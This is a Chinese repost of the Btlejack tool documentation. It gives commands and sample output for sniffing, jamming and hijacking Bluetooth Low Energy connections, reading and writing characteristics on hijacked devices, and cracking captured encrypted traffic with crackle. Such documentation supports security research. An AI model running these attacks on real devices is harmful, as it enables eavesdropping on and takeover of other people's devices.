Btlejack:操作低功耗蓝牙设备的百宝工具箱

Btlejack可以为你提供嗅探、干扰和劫持低功耗蓝牙设备所需的一切。它依赖于一个或多个BBC Micro:Bit。运行专用固件的设备。你可能还想使用Adafruit的Bluefruit LE嗅探器或nRF51822评估套件,我们增加了对这些设备的支持。

该工具的当前版本(2.0)支持BLE 4.x和5.x。但对BLE5.x的支持有限,因为它仅支持1Mbps未编码PHY模式,并且不支持channel map的更新。

环境要求

你需要一个基于UNIX的系统(例如Raspberry Pi)。如果你使用BBC Micro:Bit,则需要一到三个Micro:Bit设备(建议使用三个),并且每个设备都有一个空闲的USB端口。Micro:Bit的功耗相当低,因此你可以使用单个USB端口和无源集线器为推荐的三个单元供电。

如果你在电脑上同时连接3个microbits,Btlejack将能够嗅到每个advertising channel,并且有更多机会捕获连接请求。

安装

首先,使用Pip安装btlejack Python3客户端软件:

$ sudo pip3 install btlejack

然后,使用USB线将Micro:Bit设备连接到计算机,安装相关的大容量存储设备(挂载点必须包含MICROBIT),并执行以下命令:

$ btlejack -i

这将对连接到你计算机的各个Micro:Bit设备进行编程,让它们可以同Btlejack一起使用。它将使用当前客户端软件的正确固件版本,因此强烈建议你在每次更新Btlejack时,执行此固件安装过程。

如果你使用的是Bluefruit LE嗅探器或nRF51822评估套件,请使用外部SWD programmer使用此固件flash你的设备。

让你的设备保持连接状态!

注意:这仅适用于与posix兼容的系统。

使用

Btlejack可以:

使用各种设备 嗅探现有的BLE连接 嗅探新的BLE连接 干扰现有的BLE连接 劫持现有的BLE连接

将捕获的数据包导出为各种PCAP格式

指定要使用的设备

Btlejack通常会尝试自动检测并使用连接的兼容设备(目前仅为Micro:Bit),但由于固件可以被黑客攻击或修改以与其他基于nRF51822的主板配合使用,因此它提供了允许与这些设备兼容的特定选项。

-d选项允许你使用Btlejack指定一个或多个设备。请注意,该选项将禁用设备的自动检测,你应该根据自身需要添加任意数量的设备:

$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s

嗅探现有连接

首先,使用btlejack查找到目标的现有连接:

$ btlejack -sBtleJack version 1.1
[i] Enumerating existing connections ...
[ - 54 dBm] 0xcd91d517 | pkts: 1
[ - 46 dBm] 0xcd91d517 | pkts: 2

第一个值(以dBm为单位)表示信号的功率,该值越大,嗅探连接就越好。

第二个值(hex十六进制)是关联的访问地址,一个32位值,用于标识两个蓝牙低功耗兼容设备之间的链接。

最后一个值是使用此访问地址看到的数据包数。该值越高,使用相应访问地址的可能性就越大。

然后,使用-f选项跟踪特定连接:

$ btlejack -f 0xdda4845eBtleJack version 1.1[i] Detected sniffers:
 > Sniffer #0: fw version 1.1[i] Synchronizing with connection 0xdda4845e ...
✓ CRCInit: 0x2a035e✓ Channel Map = 0x1fffffffff✓ Hop interval = 39✓ Hop increment = 15[i] Synchronized, packet capture in progress ...
LL Data: 02 07 03 00 04 00 0a 03 00LL Data: 0a 08 04 00 04 00 0b 5a 69 70LL Data: 02 07 03 00 04 00 0a 03 00LL Data: 0a 08 04 00 04 00 0b 5a 69 70

如果你使用超过1个microbit,Btlejack将并行化一些嗅探操作,以加快连接参数的恢复!

对新连接的嗅探

btlejack支持的-c选项允许你指定目标BD地址,或者你也可以使用any来捕获创建的任何新连接。

$ btlejack -c any
BtleJack version 1.1[i] Detected sniffers:
 > Sniffer #0: version 1.1
 > Sniffer #1: version 1.1LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b
[i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0
 |-- Access Address: 0x0a2f7b1d
 |-- CRC Init value: 0x93f49a
 |-- Hop interval: 39
 |-- Hop increment: 11
 |-- Channel Map: 1fffffffff
 |-- Timeout: 20000 ms
LL Data: 03 09 08 0f 00 00 00 00 00 00 00LL Data: 03 09 08 0f 00 00 00 00 00 00 00LL Data: 0b 06 0c 08 0f 00 09 41LL Data: 03 06 0c 07 1d 00 d3 07

或者你可能还想指定目标BD地址:

$ btlejack -c 03:e1:f0:00:11:22

干扰连接

一旦通过其访问地址标识了连接,就可以使用-j选项对其进行干扰:

$ btlejack -f 0x129f3244 -j̀

劫持 BLE 连接

你也可以使用-t选项来劫持现有连接。一旦被劫持,Btlejack会给你一个提示,允许你与被劫持的设备进行交互。

首先,劫持现有连接:

$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffffBtleJack version 1.1[i] Using cached parameters (created on 2018-08-11 01:48:24)
[i] Detected sniffers:
 > Sniffer #0: fw version 1.1[i] Synchronizing with connection 0x9c68fd30 ...
✓ CRCInit: 0x81f733✓ Channel map is provided: 0x1fffffffff✓ Hop interval = 39✓ Hop increment = 9[i] Synchronized, hijacking in progress ...
[i] Connection successfully hijacked, it is all yours \o/
btlejack>

然后使用以下命令与设备交互:- discover:执行services 和 characteristics枚举,将为你提供有关服务和特征的所有信息- write:将数据写入特定值句柄- read:从特定值句柄读取数据- ll:发送原始链路层数据包(用于ninjas)

discover 命令

discover命令将发送和接收蓝牙LE数据包,并检索所有服务UUID和参数,以及特征UUID和参数:

btlejack> discover
start: 0001 end: 0005start: 0014 end: 001a
start: 0028 end: ffff
 Discovered services:
Service UUID: 1801
 Characteristic UUID: 2a05
   | handle: 0002
   | properties: indicate  (20)
   \ value handle: 0003Service UUID: 1800
 Characteristic UUID: 2a04
   | handle: 0019
   | properties: read  (02)
   \ value handle: 001a
 Characteristic UUID: 2a00
   | handle: 0015
   | properties: read  (02)
   \ value handle: 0016
 Characteristic UUID: 2a01
   | handle: 0017
   | properties: read  (02)
   \ value handle: 0018Service UUID: 1824
 Characteristic UUID: 2abc
   | handle: 0029
   | properties: write indicate  (28)
   \ value handle: 002a

read 命令

read命令接受单个参数,即与要从中读取的特征对应的值句柄:

btlejack> read 0x16read>> 4c 47 20 77 65 62 4f 53 20 54 56

write 命令

write命令接受三个参数:

btlejack> write <value handle> <data format> <data>

支持的数据格式:

hex:十六进制数据(即“414261”) str:文本字符串,可以用双引号括起来

ll 命令

最后一个命令允许你以十六进制形式发送蓝牙低功耗链路层PDU,如第6卷第B部分第2.4章中所述。

PCAP 文件导出

Btlejack的一个有趣特性是可以将捕获的数据导出到PCAP文件。

Btlejack支持以下DLT格式:

DLT_BLUETOOTH_LE_LL_WITH_PHDR DLT_NORDIC_BLE DLT_BLUETOOTH_LE_LL

可以使用-o选项指定输出文件,而输出格式可以使用-x选项指定。有效格式值为:ll_phdr, nordic, 或 pcap(默认值)。

$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap

ll_phdr导出类型在嗅探加密连接时非常有用,因为它也受到crackle的支持。因此,如果你想嗅探并断开加密的连接,这是一个很好的选择。

你可能还需要使用-s选项告诉crackle使用特定的破解策略:

$ crackle -i some.pcap -s 1

连接缓存

Btlejack使用连接缓存来存储一些与连接相关的值,以提升速度。此连接缓存可能会导致一些问题,尤其是在已看到访问地址的情况下。

可以使用-z选项刷新此缓存:

$ btlejack -z

使用 Wireshark 转储实时数据包

Btlejack 2.0引入了一个新的-w选项,允许你指定FIFO路径(存在或不存在)以执行数据包的实时分析:

$ btlejack -c any -w /tmp/blepipe

你甚至可以同时使用FIFO和输出文件:

$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap

Raspberry Pi 上使用 btlejack 提示

如果你之前已通过USB启用虚拟以太网(RNDIS),例如要通过USB设置Raspberry Pi Zero W,则需要再次禁用它(即从boot/config.txt中删除dtoverlay=dwc2,以及从boot/cmdline.txt中删除modules-load=dwc2,g_ether,然后重启sudo),否则会干扰嗅探器的USB连接。

Bluetooth LE 5 & 5.1 支持

此版本支持蓝牙低功耗版本5和5.1,尤其是版本5(CSA #2)中引入的新信道选择算法。但是,由于使用的硬件不支持从版本5添加的两个新PHY,因此它只能使用1Mbps未编码PHY模式来嗅探,干扰和劫持连接。

另外请注意,Btlejack中包含的CSA #2的当前实现暂不支持channel map更新。

嗅探新的 BLE 5 连接

Btlejack会自动检测所使用的信道选择算法,因此你不必担心,只需像往常一样捕获数据包。

嗅探现有的 BLE 5 连接

嗅探现有的BLE 5连接(使用1Mbps未编码PHY模式,仅此PHY)并不是那么困难。首先,你必须使用-5选项指定要BLE 5连接目标。注意,无法判断现有连接是否使用CSA #2 或 CSA #1,因此你必须尝试这两种技术,直到其中一种方法起作用。

$ btlejack -f 0x11223344 -5

然后,Btlejack将恢复使用的channel map及跃点间隔值:

$ btlejack -f 0x11223344 -5[i] Synchronizing with connection 0x11223344 ...
✓ CRCInit: 0x40d64f✓ Channel Map = 0x1fffffffff✓ Hop interval = 160

然后它会尝试恢复此连接的PRNG计数器值:

$ btlejack -f 0x11223344 -5[i] Synchronizing with connection 0x11223344 ...
✓ CRCInit: 0x40d64f✓ Channel Map = 0x1fffffffff✓ Hop interval = 160✓ CSA2 PRNG counter = 5137[i] Synchronized, packet capture in progress ...

完成后,Btlejack将与此连接同步并处理数据包。

干扰现有的 BLE 5 连接

这里没有什么新的东西,除了你必须使用-5选项指定攻击的BLE 5连接。

注意,你可以通过分别使用-m和-p标志来指定要使用的channel map和跃点间隔值来优化此攻击。两者必须同时提供,除非它们不起作用。

劫持现有的 BLE 5 连接

此时我没有设法劫持BLE 5连接,因为此攻击具有时效性。我的BLE 5设备使用0延迟,因此不会延迟并导致此攻击失败。

当我获取到一些合法的BLE 5设备时,我会改进这一点。

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏zhisheng

JDK13 GA发布:5大特性解读

350: Dynamic CDS Archives351: ZGC: Uncommit Unused Memory353: Reimplement the Le...

8420
来自专栏Node开发

Redis与数据库数据一致性

可能谈到保持Redis与Mysql双库的数据一致性,可能很多人最先想到的方案就是读请求和写请求串行化,串到一个内存队列里去。但是这个方案有着一个致命的缺点:读请...

37440
来自专栏Java3y

Redis简明教程

Redis是一个开源的、基于内存的数据结构存储器,可以用作数据库、缓存和消息中间件。

11720
来自专栏Ms08067安全实验室

WebGoat靶场系列---General

在上一章中,我们已经完成了WebGoat的安装,接下来,就可以来搞事情了。首先,第一部分是对WebGoat的介绍,上一章已经详细介绍过了,我们直接进入实战部分。

16040
来自专栏Node开发

Redis缓存击穿、缓存穿透、缓存雪崩

上篇文章谈到了Redis分布式锁,实际上就是为了解释为什么做缓存采用Redis而不使用map/guava。缓存分为本地缓存和分布式缓存。以 Java 为例,使...

18330
来自专栏微信公众号【Java技术江湖】

Spring Boot 面试,一个问题就干趴下了!

随着 Spring Boot 使用越来越广泛,Spring Boot 已经成为 Java 程序员面试的知识点,很多同学对 Spring Boot 理解不是那么深...

7850
来自专栏运维之美

18 个运维必知的 Nginx 代理缓存配置技巧,你都掌握了哪些呢?

其中一个例子是在应用程序栈中实现和优化缓存。在教程中介绍的技术可以帮助新手和高级用户使用 Nginx 中包含的内容缓存功能,从而获得更好的性能。

12120
来自专栏开发笔记

《从零开始学架构》笔记——第二部分:高性能和高可用架构模式

事务问题:一致性。 【问题】 如何保证主机和从机的数据一致???主从复制的延迟性问题。

7720
来自专栏zhisheng

ES索引写入性能优化

你如果要往es里面灌入数据的话,那么根据你的业务场景来,如果你的业务场景可以支持让你将一批数据聚合起来,一次性写入es,那么就尽量采用bulk的方式,每次批量写...

19020
来自专栏猪圈子

Linux下常用的监控工具和命令

如果性能测试的目标服务器是linux系统,在如何使用linux自带的命令来实现性能测试过程的监控分析呢?

14320

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励